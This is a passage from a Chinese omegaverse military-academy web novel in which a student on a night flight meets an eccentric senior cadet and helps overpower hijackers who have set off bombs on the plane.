黎晓愣了一愣——有什么事在他们身边发生了,而他们还被蒙在鼓里的感觉再次苏醒——她迅速回复,“哪种异常?” “有没有乘客愿意让出座位?”这时黎晓听到空乘说,“我们会给您安排其他的航班,并补偿您一张免费来回机票,不限时使用……” 黎晓猛的抬起头——有人要临时登机。 在这个时间,在这种天气下。 而在所有乘客都已经录入登机,甚至旅程进行了一半的时候,航空公司依旧受领了登机申请。 ……这算不算是异常? 16. 云之巅,森之海(三) 二 凌晨三点钟,正是大部分人最疲惫困倦的时候。就算改签的补偿很优厚,也极少有人愿意在这个时候下飞机去折腾手续。 ——无人响应空乘的话。 陆清源的回复很快亮起,“虹潮期间,机场容易成为袭击目标。提醒滞留学生留意异常状况是军校惯例,别紧张。” 黎晓:…… 好丢人!原来外面的世界这么危险吗妈妈? “……好的,了解了。”这尴尬令她倍感愧疚,终于意识到她是在半夜三点钟拉着别人聊天,“刚刚小睡了一会儿,没留意到消息,抱歉这么晚才回复……你还没有睡吗?” 对面似乎稍停顿了一下,“嗯。”随即很快接上话题,“学生会今晚全员论值,我还得醒很久呢,安心。虹潮快消退了吧?” “嗯——刚刚好像有听到机长在和塔台对话,估计很快就能起飞了吧。” “教你个小技巧。”尽管陆少尉聊天时根本就不用时下流行的表情文字,但不知为什么,黎晓竟能想象出他一本正经的狡黠,“学校配发的外接ID卡能接收塔台的通讯频段,你可以光明正大的收听他们的对话。” 黎晓有种被他教唆着做坏事的感觉。但还是忍不住回答,“好的,我试试。” 她带上耳机,取出ID卡插|进端口。 “白诗南机场的塔台频段在120上,区调频段在120下。” 黎晓一面调节收听频段,一面询问,“……这也是军校生的常识吗?” “——取决于你是正气凛然的军校生,还是偶尔也做点坏事的军校生。” “……”了解了,“陆少尉是哪一种?” “你觉得呢?” 黎晓想了想,回复,“大概是懂很多额外常识的,正气凛然的军校生吧。” 对面没有回答。 刚好黎晓也接收到了信号,注意力很快便转移了。 人对同乡的口音是很敏感的,黎晓很快便分辨出达瓦航班和塔台的对话。 “……没有志愿改签者。这个人我们接收不了,请另作安排。” “请稍等。”用不带口音的标准语回应的一方,应该是塔台无误。仅仅一句话时间后,塔台便再度回应,“委托人表示,愿意个人出资给志愿者两千元补偿。请再询问一遍。” “最后一次?” 短暂的停顿后,“……他说,加到四千元。” “收到。”机长很快呼叫了空乘,交代完毕之后,再度转向塔台,“去亚丁的航班应该不止一架。” “是要客。”塔台回应。 黎晓悄悄问陆清源,“要客是什么意思?” “……重要的客人。”这次陆清源回复的很快,“要上你们飞机?” “应该是。” 她正敲着键盘,空乘果然再次走进机舱,“……除此之外,志愿者还将得到委托人个人提供的4000元补偿,有谁愿意让座吗?” 免费的机票未必能打动人,但真金白银的钞票却很难不让人动心。4000块对很多人来说,都是一笔相当有吸引力的意外之财。 ——这次大部分人都从困倦中清醒过来,开始权衡或者开始看热闹。 很快便有人举起手,“我愿意。” 黎晓不由扭过头去——举手的人,就是她的邻座。 空乘很快便上前帮他取下行礼,引着他离开了机舱。 现在,她旁边的座位空出来了。 …… 短暂的静默之后,黎晓终于迟钝的意识到刚刚发生了什么,她稍有些凌乱。 这样也可以?! “呃……一般说来,什么样的人会成为要客?”她思维混乱的询问。 “政要、贵族、富豪、明星……” “这位要客刚刚出了一大笔钱,买了张经济舱票。”黎晓小心翼翼的试探,“……这算是异常吗?” “算。”陆清源说,“但一般说来,这只是值得留意的异常,算不上值得上报的异常。” 黎晓笑起来,“我会留意的。” “不,也不用特别留意。”陆少尉的措辞稍有些微妙,“……对一些人来说,引人瞩目本身,就已经值回票价了。” “陆少尉认识这样的人吗?” “……黎上士呢?” “……” “用名字称呼我吧,”他居然发来一个腼腆的笑脸,“从明天开始,我们就都不再是预备役了,黎晓。” 黎晓愣愣的看着屏幕上她的名字。 人和人交谈,用到彼此的名字的机会其实非常少。“你”和“我”配合目光和肢体,就足以满足大部分交谈需要。但名字依旧是特别的,因为它专属于你,却只有被别人使用才有意义——只有在被称呼名字的那一刻,在人群之中你才是特别的,在人群之外你才是被寻找的。 黎晓已经不记得,自己的名字已经有多久没有被人这么叫过了。 ……似乎是从高二的事故之后,便再没有同龄人,这么平常的、轻快的、不经意的或者说亲切的刻意着,叫出她的名字。 或许她从来没在意过,也或许她压根儿就没意识到,但她的人缘确实一直都很糟糕。 大家并非不喜欢她,也未必是在刻意排挤她,但会主动来接近她的人,一直都很少。 所以忽然被人这么称呼了名字,她竟然有短暂的茫然无措——她不熟悉此刻自己内心的感受究竟是什么。 ——黎晓她,除了成铭之外,其实是没什么同龄朋友的。 她敲下“陆清源”三个字,可又不确定就这么发送过去,会不会很莫名其妙,甚至显得不礼貌。 犹豫之间,忽然就听到广播,“欢迎乘坐达瓦航空……” ——塔台通过了航班的滑行申请。 她终于把那三个字发送过去,而后飞快的致歉,“飞机马上要起飞了,我得下线了。” “旅途顺利,天亮后见。”陆少尉——不,陆清源同学回复。 “天亮后见。”黎晓回答。 这时她听到了轻微的骚动。 她一边收拾电脑,一面循声望去——“要客”登机了。 出乎黎晓的预料,或者说理应如此的,这位“要客”并不是什么满面红光、一举一动都透着“仰视我吧,草民”的暴发气质的大人物。 那是个画着烟熏妆的轻朋克风打扮的高挑美人。黑衣皮裙,斜带着网球帽。垂顺如缎的金棕色长发遮住双耳,将她精致的面容修饰得越发小巧。她显然带着随身听,金铜色的耳机线蜿蜒伸向外衣的衣袋里——她的手也揣在里面。 很低调的打扮。而她表情甚至是困倦的,一路打着哈欠走过来,可通道两侧的乘客纷纷抬头去看她。 她显然早已对众人的瞩目安之若素,哈欠都没停一下。 她走到自己的座位上坐下,狭窄的间隙对她那双穿着高跟高筒皮靴的长腿而言,稍有些局促了,她便自然而然的侧身调整坐姿——显然也早已习惯因陋就简。 她像个女王般,靠在椅背和扶手上,支棱着修长的手指托住因困倦而变得沉重的脑袋。察觉到黎晓也在看她,她便也扫了黎晓一眼——目光落在她的手上时,忽然就打起了精神。 “二军大的?” 黎晓正在关电脑。闻言立刻扫了一眼屏幕——屏幕上并没有任何能透露她个人信息的关键字。 “……是。” “导力系?是今年入学的新生?” “……是。你怎么知道的?” “可恶,真羡慕还没离校的兔崽子们啊!”懊恼过后,她对黎晓飒爽一笑,“安啦,我不是什么可疑人物。我是你师姐,今年刚毕业。”她伸出一直窝在口袋里的右手,给黎晓看食指上的戒指——风格极简的圆环上并列镶嵌七颗虹水晶的碎钻,并不像其他军校那样把学校名称和校训鉴刻在显眼的位置,乍看去就只是一枚简单粗暴的导力增幅戒指而已,可但凡听说过它的人只需一眼就能认出——啊,这是二军大的毕业戒指!因为戒指上那七颗虹水晶是如此的耀眼夺目,只有最高品质的导力才能点染而成。 这个人确实是她的师姐。 给黎晓看完戒指,她笑了笑,“带这种戒指感觉好羞耻啊。”然后她掏出手机,手指飞快的操作起来,“跟我说下你的通讯地址。” ……黎晓发誓她很尊敬自己的师姐,可是在遇到这个人之前,她对师姐的一切想象都和烟熏妆黑指甲朋克少女毫不搭边——因为她要去读的是军校啊军校!这种仪容的军校生,真的没问题吗? 但抛除外表,这个人的一举一动其实都充满了无言的说服力——她其实已相信了这个人的身份。 黎晓整个人都在状态之外,但还是带着师弟师妹面对师兄师姐时特有的惶恐和尊敬,报出了自己的通讯地址。 她指尖如飞的操作完毕,“申请已经发过去了,记得给我通过验证。” “呃……好。”黎晓说,这称呼稍有些别扭,但出于礼貌她还是叫出口了,“师姐——” “哇!感觉果然不一样——”她陶醉的说,“再叫一次!” “……”这个人实在太异常了!“……请不要消遣我。” “啊,嗯……”她再度笑起来,坦率致歉,“抱歉抱歉——你刚刚问我怎么猜出你是二军大导力系的,对吧?”她抿唇一笑,眼中稍嫌轻佻的光沉下来,她用修长的手指指了指自己的耳朵,“听出来的——你退出内网时,验证了导力纹。” “……是。” “内外导力同调时会产生短促的噪音,内回路不同,产生的噪音也有细微区别。优秀的装备师单凭同调噪音,就能判断出人的性别。”她含笑看着梨晓,金棕色的眼瞳因为烟熏妆而显得格外妩媚和醒目,像极一只慵懒而自信的大猫。 ——她知道黎晓是个omega。 尽管黎晓不在意别人知道自己的性别,但隐私这么轻易的被人探查到,还是令她感到轻微的头皮发麻。 但同时,眼前人超乎想像的感知力,也同样令她惊叹和激动起来。 “……然后呢。”她忍不住问。 “能登入内网,表明你去考了从军资格——报考的当然是军校。”她说,“而帝都的军校不限定报考性别的,只有二军大。” “那么,导力系呢?” 她再度抿唇一笑,指了指黎晓膝盖上的电脑,“你的外接ID卡忘记拔下来了——我当然认得本校本系的logo哈哈哈哈,”她欢快的笑起来,“你不会以为我连这个都能猜到吧?” 这个人,真是半点都没有师姐该有的严肃认真啊! 但短暂的错愕之后,黎晓还是忍不住跟着她笑起来。 “能通过同调噪音判断出人的性别,这个总不会也是骗人的吧?” “这是真的——装备师的延伸技能,很多人都会。”她笑着,“……不过这东西用嘴说,永远也讲不明白。得亲自用耳朵去听,听多了自然就开窍了。” 黎晓有些回不过神来——在戏弄了她这么久之后,这人居然像真的师姐一样在指点她技巧? 她又笑起来,“你那是什么眼神啊,我真的是你师姐。” “抱歉……”黎晓实在有些跟不上她的节奏。 “不过,原来真的会有omega报考军校啊。”她又笑着感叹,“你是嘉洛林人?” “嗯。师姐你呢?” “我在卡佩出生,但我的灵魂是属于嘉洛林的。”她笑眯眯的看着黎晓,“在精神上,我们是老乡。” ……不,老乡不是这么攀的。 “……师姐你喜欢嘉洛林?” “我还没去过呢。”她笑着,“不过,那是洛珈的桃源乡,肯定是个好地方。” “……你喜欢洛珈?” “嗯,她是我的偶像。” 黎晓再一次惊讶了——作为一个嘉洛林人,她当然知道洛珈。但同时她也明白,在嘉洛林,洛珈的形象其实是被美化过了。离开嘉洛林,洛珈就只是一个反叛者而已。就连历史课本分析大兽潮初期人类损失惨重的原因,也会把“洛珈的反叛一定程度上削弱了帝国的军力”列入其中。在外省人眼里,洛珈大概就是个不顾大义的叛乱分子。 而跟她同时代的名将们无不战功煊赫,才华璀璨,他们共同铸就后兽潮时代的帝国。在现代,经过游戏、小说和军事论坛的加持之后,一个个形象丰满,人设齐全,拥有远远超过洛珈的人气和知名度。 而洛珈在以上所有载体中,几乎都是用来衬托传主或者主人公高大光辉形象的反面人物、敌方小boss——她连中boss都算不上。有些人甚至连她的军事才能也要否定,把她在叛乱前的精彩战例移花接木到别人头上,或者一笔带过。至 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“其实不光我一个人把洛珈当成偶像。”调笑之后她垂下睫毛,再度打了个哈欠,懒洋洋的闲聊,“虽然是个大反派,但为了自己的信念,敢于奋起操翻整个alpha军团,这种beta你不觉得很酷吗?其实很多beta都偷偷的崇拜她,只不过只有我敢说出来罢了。如果有一天,你发现历史上也有这么一个omega,你就懂我们的感觉了。” “……还好吧。”黎晓想了想,“如果一开始你不知道洛珈是个beta,或者某天发现洛珈其实不是个beta,你还会崇拜她吗?” 这次轮到她惊讶了。 能打乱她的节奏,黎晓感到小小的满足。虽然这个人做起事说起话来让人完全跟不上节奏,但在她面前,黎晓却感到久违的放松,不知不觉就把心里话给说出来了。 “在高一暑假之前,我一直以为自己是个alpha。高一暑假开始怀疑自己也许是个beta,结果高二体检那天,才意识到自己其实是个omega。有时候我会想,人的性别其实就像导力因子,如果不去观测,就既是alpha,也是beta,是omega。可一旦去观测了,就会丢失掉两种性别,成为一个alpha,或者beta,或者omega。人明明还是那个人,可一切都变得不一样了……所以就算历史上真的出现了这么个omega,我也不确定自己对她究竟会有什么感受。” 她看着黎晓,静静的等她说完,才笑问道,“你叫什么名字?” 黎晓已经有些习惯她跳脱的思维了,“……黎晓。” “黎明的黎,拂晓的晓?” “师姐懂唐语?” “沙利叶,我的名字。”她笑着说,“当然懂。我妈妈的曾祖母是洛珈的专属装备师,我外婆家里收着很多当年的东西——包括洛珈的日记,和曾曾祖母的回忆录。我七岁的时候就开始自学唐语了——当然,也不完全为了读懂洛珈的日记。要当一个装备师,不懂唐语你连论文都看不懂。” 她似乎有些疲倦了,便再度往座位上一靠,用手撑着脸颊,“你读导力系,以后是打算当装备师吗?” “嗯。” “说起来,今年会有个紫瞳的alpha跟你们一起入学——” “啊,你是说陆清源少尉吗?” 沙利叶再度睁开眼睛,望向黎晓,“你见过他?” “嗯,今年春天他去达瓦协助镇压兽潮,我们见过面。” 沙利叶微微眯了眼睛看着她,半晌后忽然一笑,“你想不想当他的专属装备师?” “……没想过——现代的道理装备都是制式了,还需要专属装备师吗?” “需要啊。对贵族来说,专属装备和专属装备师是身份的象征。不过,除非真的缺钱,不然有理想的装备师都不会走这条路吧。但给陆清源当专属不一样。”沙利叶的眼睛亮起来,“他可是紫瞳的alpha,我偷偷试探过,他体内起码有两千条回路。两千条回路啊,你知道这意味着什么吗?” 不等黎晓作答,她就已经兴奋的接下去,“这意味着,如果他愿意,那些原本只能存在于理论中的导力装备,他全都能穿戴起来。甚至他也许能穿起‘神赐礼装’。对装备师来说,他就是人形宝藏、活体素材、梦幻小白鼠!什么实验你都能在他身上做,你可以随心所欲的把他打造成传说兵器!” 黎晓哭笑不得,“听上去你不是想当他的专属装备师,而是想让他当你的专属试穿人。” “不不不,那就太浪费资源了——宝藏是属于大家的。只要我需要数据的时候,他来给我试穿下就行。” “……我忽然觉得陆少尉有些可怜。” “他才不可怜呢。”沙利叶眯了眼睛笑,“反正他那个身份,只要他不愿意,世上也没有谁能强迫得了他。就只有别人追求他,看他赏不赏脸点头的份儿。”她说,“我们这一级很多人都想当他的装备师,有人甚至为此推迟入学、延期毕业,就为了能和他有所交集。如果你也想当他的装备师,你的竞争对手会从一年级一直排到四年级,说不定还会往下排到高中一年级。” “……真是惨烈的修罗场啊。”不知为什么,黎晓更同情陆清源了。 “你这么事不关己的感慨,没问题吗?” “呃……”黎晓不确定自己这么说,会不会被沙利叶鄙视没有理想,缺乏竞争心,“其实比起导力装备设计,我更偏向于导力技术研究,不定向针对特定的个人。所以应该不会去挤陆少尉的修罗场。” “天真。”沙利叶眯了眼睛,再度靠向椅背打起哈欠——显然她真的鄙视她了!“你是一个omega,军校里应用导力系的omega。就算你没有这个意向,可当陆清源需要配备一个装备师时,你依旧会是第一人选。军校可不是嘉洛林区那种好地方,会跟你讲什么个人意愿……” 黎晓还想再问什么的时候,发现她已经靠在椅背上睡着了。 她笑了笑,也拉上毯子,靠着机舱闭目养神。 已经是凌晨四点钟,大部分人都关上了顶灯,盖着毯子沉沉睡去。 飞机早已离开了安茹省,正平稳的从海拔12000米的高空上向着帝都亚丁的方向飞去。 虹潮退却后的天空中犹带雾蒙蒙的水汽,机翼之下的高空上白云如棉絮乱扑。极东的天际已然开始发白,太阳沉在天海相接处那狭窄如云线与潮线对合的狭缝之下,正在等待黎明的到来。 而黎明已然不远。 17. 云之巅,森之海(四) 三 黎晓醒来的时候大概是凌晨五点钟。 太阳其实已经升起来了,但前一夜发生的事太多了,这个时间大部分人都还在睡梦中。几乎所有舷窗的遮光板都拉下来了,机舱里光线昏暗,洋溢着催人入睡的静谧安稳的气息。 沙利叶不在座位上,估计是去了洗手间。 黎晓伸展了一下腰肢,站起身也准备去洗一把脸。 算算时间——距离到达亚丁机场应该只剩半个小时,估计用不了多久,舱内广播就会响起,提醒大家别睡了马上就要降落了。 尽管波折重重,但她马上就要迎来自己的大学生活了,黎晓心里仿佛有一面小皮鼓在欢快的乱敲,走起路来都不由带上雀跃的节奏。走近成铭的座位时她不由放慢了脚步,目光自然而然便飘过去。 不知是不是巧合,成铭也正向这边望过来。 黎晓按捺着喜悦,让自己像个普通的朋友和同学一样,尽量自在的向他招了招手。 她大概做得很好,成铭轻轻的向她点了点头。 这短暂的招呼之后,他们就该各忙各的了。但黎晓自己也不知为什么,她居然停住了脚步。 这会儿她该说些什么以避免尴尬和进一步的解读,但如果她真有这么圆滑和游刃有余,那她也无需像现在这样站在这里。 “……早上好。”最后她这么开口。 成铭说,“早上好。” 她还想再说些什么——比如开学快乐之类。开学确实很快乐,毕竟这是他们进入大学的第一天。可这同时又是他们约定好要分道扬镳的日子,想到以后见他的机会会越来越少,她又感到难过。 空站着不说话只会让气氛越来越尴尬,可黎晓找不出能说出口的话题。 “坐你旁边的人你认识?”最终打破沉默的竟是成铭。他显然找了个自认为很糟糕的话题,话还没说完就露出了懊恼的神色。 “她是我们的师姐,二军大导力系的,今年才毕业。”黎晓连忙解释,“要不要我介绍给你认识?” 成铭的脸色很糟糕,但他还是毫不犹豫的点头了,“要。” “那我去找她——” 成铭头痛的拉住了她,“等落地后再说——快降落了,别到处乱跑。” “哦。” 黎晓洗漱完回到座位,沙利叶依旧没回。 黎晓悄悄把遮光板拉起条小缝,向外望了望——亚丁在北方,但从卢瓦到亚丁却不是正北的航线。阳光透过舷窗照到前排座位的椅背上,并没有那么刺眼。她可以透过渐渐消散的薄云,看到底下青黑色的大地和大地上如银缎般的河流。 那河流名为雅渡,发源于亚丁北面的群山,有足足六个源头,六个源头最终汇聚在亚丁——“亚丁”在古语中,似乎就是众水汇聚之处的意思。 但在现代,亚丁被称作百合花之城。因为一百年前,当还是皇子的加洛林第一次来到亚丁时,这位被认为有感情障碍、并被称作“杀戮兵器”的皇帝站在飞艇上俯瞰这座即将沦陷的城市,说出了他一生中有记载的最罗曼蒂克的一句话,“就像一朵百合花。” 然后他发动神赐礼装,以一人之力扭转战局,打了人类对抗大兽潮的第一次胜仗。 那是人类有信史以来第一次证据确凿的发动了全威力的神赐礼装——同时也是最后一次。 百合花也在此之后,成为代表希望和胜利的祝福之花。 作为帝国的首都,亚丁并不是一座十分古老的城市,建城才不到四百年。成为首都,更是只有短短的97年。 它的北部是绵延险峻的群山,而南部则是一马平川的平原,如果北疆的敌人踏破了这座要塞,那么向南一直到大青河,大半个帝国腹地都将无险可守。所以从建成之初,它便一直是帝国的北门锁钥,军事重地。加洛林皇帝迁都之此,也被认为是他魄力和见识远胜他的兄长兰迪斯七世的表现之一。 而嘉洛林区便以这位皇帝的名字命名。 嘉洛林和亚丁都曾是弃子,并都因这位皇帝而得以保全。 所以嘉洛林人天生就对亚丁感到亲切——黎晓也不例外。 此刻他们距离亚丁还有大概400公里的路程,从飞机上还望不见百合花之城的所在。但随着阳光照亮了大地,她已可以看清地上环绕亚丁而建造的卫星城市。这是黎晓头一次看见坐落在平原上的城市,眼中的一切对她而言都新奇无比——原来楼房屋宇可以排列得这么整齐,就像唐人在彩笺上书写的蝇头小楷。原来农田可以切割得这么平直紧密,浅碧重青就像一张绿的比色卡。原来大地这么辽阔无边,可以从太阳升起的方向一直延伸向太阳落下的方向,直到目力所穷的地平线——而地平线居然真的可以是一条“平线”…… 不知道亚丁城第一眼望去是什么模样的——加洛林皇帝陛下说它像一朵百合花,是像百合花的纵剖图,还是俯视图?不管是哪一个,肯定都很美丽。 这时她终于听到了“叮咚~”一声,那是机内广播的提示音。 但随之传来的,却不是预料之中女空乘柔缓悠扬的说话声,而是略嫌嘈杂的,“这位乘客,您……”,短暂碰撞之后,便是带着口音的男声,“喂喂,能听到吗?这架飞机已经被劫持了,为方便大家理解,我们准备送上一件小礼物。机长先生、各位乘客,请系好安全带——” 机舱里立刻便混乱起来,乘客们交头接耳着。有空乘出面提示大家暂且不要惊慌,系好安全带,等待空乘处理。其余露面的乘务则试图打开被反锁的广播室门。 但他们尚未来得及做出有效应对,舱外便传来一声沉闷的爆|炸,随即机身剧烈的颠簸抖动起来。 抖动很快便停止。 调整平衡之后,飞机开始下降。但也并没有下降多久,便再度稳定的继续平飞。 大部分乘客都不太明白到底发生了什么事,直到有乘客看到了机翼上腾起的滚滚白雾,和白雾里渐渐熄灭的赤红火焰。 ——飞机左翼的发动机起火了。 ……似乎又很快被扑灭了。 无论如何,飞机应该都失去了一个引擎。 ——劫机犯说的礼物,就是发动机里的爆|炸。 这意外足以令所有怕死的人失控、崩溃。 但大概因为已经有人提前预告过了,而此刻飞机又飞行得过于平稳,完全不像是要追击。在这欠缺爆发点的沉闷的恐怖中,大部分人都面如死灰,集体暗哑无声——就只有先前同黎晓他们换座的小男孩吓得哭起来,但他的父母也很快捂住了他的嘴。 想打开广播室门的空乘们都在机身颤动时被撞飞出去,此刻都倒在地上。 倒是乘客们都没怎么受伤。 黎晓没来得及系上安全带,也被撞了一下,所幸她平衡能力好,撞得很轻。 再迟钝的人,此刻也该弄明白他们遭遇了什么了。 黎晓背靠着舷窗沉默的观察着整个机舱,观望着事态。 ……这一趟航行中她接二连三的被搞的很烦躁或是很紧张,现在想来,这大概就是所谓的“不祥的预兆”。但她以为会发生什么事的时候屁事都没发生,弄得她像个神经质的白痴。而后在她满怀祥和的期待时,意外发生了。 但大概她的情绪早就被之前接连落空的预感们消耗光了,也大概是因为这场面比起挥舞着触手的大章鱼根本不过尔尔,此刻她反而没有感到很恐慌。 就只是想,这一次他们恐怕真的遇到了大麻烦……说起来,这些恐怖分子究竟是怎么把炸|弹装到引擎上的?非内部专业人士根本就做不到吧。 她轻轻吐了口气,目光留意着四周,也不经意的扫过成铭——成铭也没有轻举妄动。 这时机内广播再次响起—— “刚刚只是见面礼。如果不希望其他地方爆|炸,请听从我们的指令——我们的目标既不是让飞机坠机,也不是在座各位的性命。只要各位配合,我们保证不会伤害大家。” 然后,有人打开了广播室的门,拿着通讯器从里面走出来——透过半开的自动门,可以望见里面昏厥过去的女空乘。 那是个二十来岁的男 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但这应该只是因为之前的爆|炸,黎晓猜测。因为他们手上的武器只有匕首和辣椒喷雾而已,而达瓦民风彪悍,空乘都接受过良好的防暴训练,人数又远超过他们,要压制他们其实并不难。 她正想着,便见被押送出来的厨师忽然暴起,反身撞向一个劫机犯。 而其余的空乘也立刻趁机袭向旁的劫机犯。 黎晓推测得不错……他们几乎就要得手了。 但这时机舱内的洗手间里忽然响起一声爆|炸,洗手间的门整个被爆|炸|弹开,碎裂的玻璃棉和塑料屑飞了半舱。乘客们纷纷尖叫着抱住头俯下身去。 ——劫机犯们竟然真的还安装了旁的炸|弹,并真的引|爆了它。 反抗的空乘们立刻举手投降,很快便被气恼的劫机犯们按在地上拳打脚踢。 那个罗曼人捏着手里的□□,恶狠狠的说,“下一次可就没这么幸运了,别挑战我的耐心。” 他扫了一眼机舱,指着凌河说,“你,出来。” 凌河站起身,默不作声的走上前。 ——他气质柔弱阴暗,就像墙角的霉斑一样,不显眼却很有存在感。当有人需要弱者时,他总是一眼就被挑出来。 但凌河显然有些弱得过了头,就像个常年不见日光的苍白omega。那人皱了皱眉,又搜寻了一阵,指着成铭说,“你也出来。” 黎晓猛地就紧张起来。 但成铭什么举动都没有,只低着头,几乎和凌河一样阴暗、顺从的站起身,走上前——他毕竟只是个beta,并且只有十八岁。虽然比凌河要好得多,但站在强壮成熟的alpha面前,依旧显得有些纤细,没什么威胁性。 这人我能压制住——曾经挑衅过成铭的人,大部分也都是这么想的。 “把他们绑起来。”那人吩咐道。 成铭和凌河没有反抗,顺从的接过劫机犯撕开毯子做成的绳索,把所有空乘都绑了起来。 那人示意同伴检测绳扣,确认没什么猫腻后,稍稍松懈下来,他再度拿起通讯器,吩咐驾驶室,“听到爆|炸声了吗机长先生?听我的指令——别降落,一直向北飞,飞过长城,飞到我说停的时候为止。” 机长用沉稳的语调简洁的回复,“那要是油不够呢?” “闭嘴!够不够我心里有数。” 乘务的反抗和机长的沉着令他稍嫌刻意的绅士风度难以为继,他变得多疑、谨慎起来。 他很快便挑了个同伴,吩咐他,“……去盯住驾驶室。” 是个亢奋的alpha,黎晓想……但也许并没有她想得那么强。 她沉下心,在脑海中模拟着破局的战术—— 机舱的后方有一个劫机犯,前方有三个,驾驶室里有一个。 她坐在机舱中间,江海洋坐在她附近,他们距离前后的劫机犯都有六米左右。 成铭和凌河在机舱前方。而空乘们已经全被绑了起来……不,等下,广播室了的女空乘没有被绑住,她似乎已经苏醒了,刚刚偷偷睁了一下眼睛。 ……但就算这样,人手也依旧不够。 18. 云之巅,森之海(五) 四 只要能引开那个alpha的注意,成铭应该能出其不备的从他手中抢到起|爆器,但他必然也会同时受到三个劫|机犯的袭击。 在打斗上,凌河能帮上的忙相当有限。而女空乘受了伤,也未必能及时支援他。 万一他们不能同时压制住所有劫|机犯,而劫|机犯还有什么后招……就会前功尽弃,并且断绝掉后续抵抗的可能。 机舱后方那个劫|机犯也不能不管——万一他劫持了人质,也会很麻烦。 而江海洋距离他稍有些远,很难在第一时间赶过去拖住他。 如果再多一个帮手…… 黎晓一面等待着机会,一面观察着四周。 她知道成铭在等她的信号。 但成铭自己肯定也对局势有个大致的判断,如果她迟迟找不出破绽而他认为不能再拖下去,那他肯定会冒险行动——从小到大他一直都在以弱搏强,让他屈服比让他去死还难。骨子里他就是个杀胚。眼下的局面绝不可能让他忌惮,只会让他更杀心迭起。 而就算他没找到合适的时机,他也肯定会在劫|机犯让他返回座位之前动手——因为返回座位后再动手,只会更麻烦。 这个时间不会太久——劫|机犯已经控制住了所有乘务人员,他们不太需要额外的人质——只要他们检查完所有绳扣,彻底安心下来,应该就会让成铭和凌河返回座位。 在此之前,她必须得让局面尽可能对成铭有利。 黎晓最后一次扫视机舱——然后她看到被弹开的卫生间门上露出一只手。被弹开后卫生间的门之所以没有自动闭合,并不是因为被炸坏了,而是因为被那只手把住了。那手的食指上套着银环镶嵌虹水晶碎钻的戒指,戒指的主人正隐藏在门后的暗影里。 ……她终于找到沙利叶了。 而沙利叶就在机舱的后方,位置恰当得不能再恰当了。 劫|机犯们已经要准备检查最后一个空乘手上的绳子了。 黎晓颤巍巍的、高高的举起手,另一手抓着领口,摇摇晃晃的站起来。 劫|机犯立刻紧张起来,喝斥道,“干什么?不准乱动!” 黎晓说,“我……我好像要发作了。抑制剂在包里……谁来帮我取一下,我……” ——不会有任何一个alpha希望她在这种场合下发作。 后排立刻便有人站起来,“你的包在哪里,我……”那人身材高大,看模样应该也是个alpha。 罗曼人立刻举起起|爆器,威胁,“坐下!谁都不准动。” 那人和他对峙了片刻,最终还是无奈的坐了回去。 但罗曼人也不能放任黎晓不管,他眼神示意身旁的同伴,“你过去看看。” 这正是黎晓希望的。 她抓着领口,艰难的喘息着。尽管她并没有面向罗曼人,但清黑湿润的眼尾还是时不时扫在他的身上——她憎恨自己发作的模样,但因为之前的发作给她留下了太深刻的印象,所以她很清楚自己此刻看起来应该是什么样子的。发作中的omega关注alpha是再自然不过的事,她可以光明正大的盯着他的一举一动,判断成铭会在何时动手。 还不是时候,黎晓想,希望成铭能再忍一忍。 被指派过来的劫|机犯很快走到她的身边。 但那人并没有急着帮黎晓取包,而是忽然就把她推倒在椅背上,按住她,拽开了她遮住领口的手。 预料之外的举动令黎晓紧张忐忑起来,她看向劫|机犯——发现自己的不安居然取悦了她。 ……那是个嚼着口香糖的女劫|机犯,大概比黎晓大不了多少。个子不算很高却精悍玲珑,她穿着黑色紧身衣,外面套着短得仅能遮住肩胛的迷彩短上衣,腰腹和手臂上一丝赘肉也无。她黑色露指的皮手套下露出粗硬的茧子——那应该是玩枪留下的,琥珀色的眼睛里有狼一样的凶光。 她盯着黎晓就像盯着虫豸——她大概是头一次见到活得omega,不把她们当人,却对她们充满好奇。 她用带着硬茧子的手粗暴的撕开了黎晓的领口,把黎晓脖子上的标记区暴|露出来。 而后就像小孩子看到了新奇的玩具,眼睛里露出兴奋的光。 她像展示货物一样扯着黎晓的头发把她拽起来,扒开她的领口亮出她的脖颈给罗曼人看,“头儿,快看,她这里是红的,是不是真要发|情了?” 黎晓克制着反抗的冲动,心想那是刚刚被你抓的,神经病! 她用眼尾扫向罗曼人。 ——受到强烈冲击的并不只有她,还有身为alpha的罗曼人。 他显然没料到那疯子会把omega的标记区直接剥开给他看,他喉结不由上下滑动,眼神直愣愣的——显而易见的走神了。 是个好机会,黎晓想。 不出她的所料,成铭一脚踢向了罗曼人的手腕。 ——他成功了,□□被踢飞了出去。 黎晓立刻便不再忍耐,扭转身体,用力扣住劫|机犯的手腕,借助旋转的力量将她掀倒。她依旧抓着黎晓的头发,但黎晓压倒她的时候早有准备,跟着她倒下去,手肘借助重力砸向她柔软的腹腔。 她立刻疼的蜷缩起来,松开了黎晓的头发。 但机舱通道上铺着地毯,太柔软了,这一击并未彻底击倒她。她跌撞着试图站起来反击,黎晓敏捷的绞住她的关节,再度将她绊倒,压在她的身上——黎晓的力气并不突出,如果不借助硬物根本无法击晕一个人。而狭窄的通道又限制了大开大合的动作,她只能动用锁骨技巧,跟劫|机犯缠在一起厮打。 江海洋几次想下手帮她,但她们厮打得太紧密和激烈,他根本不知该怎么下手。 周围的乘客也都茫然无措——在接连两次爆炸之后,他们中大部分人都丧失了反抗的想法。毕竟劫|机犯看上去并没打算拉着满飞机的人同归于尽。如果他们不反抗,也许达到目的地后劫|机犯就会放掉他们。可如果他们反抗了,把劫|机犯逼得狗急跳墙,劫|机犯们很可能会真的炸掉飞机——这种顾虑困住了他们的思维和手脚。 所幸另外两边的状况都很顺利。 ——洗手间里的果然是沙利叶,她在黎晓动手后立刻冲出来,锁住了机舱后方的劫|机犯的喉咙。 而成铭那边的战斗也在几招之内结束。 ——他在掌心里藏了雷电,把□□踢飞之后,趁罗曼人还没回过神,他直接把雷电按到了罗曼人脸上,一瞬间就把那人击晕了。 罗曼人的同伴扑上来想帮忙,却被凌河伸脚绊倒,而后两名空乘同时扑了上去——成铭当然不会乖顺的听话,他料定了劫|机犯就算要检查绳扣,也必定从近及远的检查,所以绑最远的那个空乘时,他大胆的耍了花招。 那名空乘显然领会了他的意图。 成铭没有在这些人身上耗费太多的时间,他撕着罗曼人还冒着焦糊气的头发,粗鲁到近乎烦躁的几下就把他剥光,连内裤都踩了两脚。确信他身上没旁的机关后,便把他丢给凌河,“捆牢。” 而后他拾起刀具割开两个空乘手上的绳子,提醒他们,“通知驾驶舱。” 便快步向着黎晓走来。 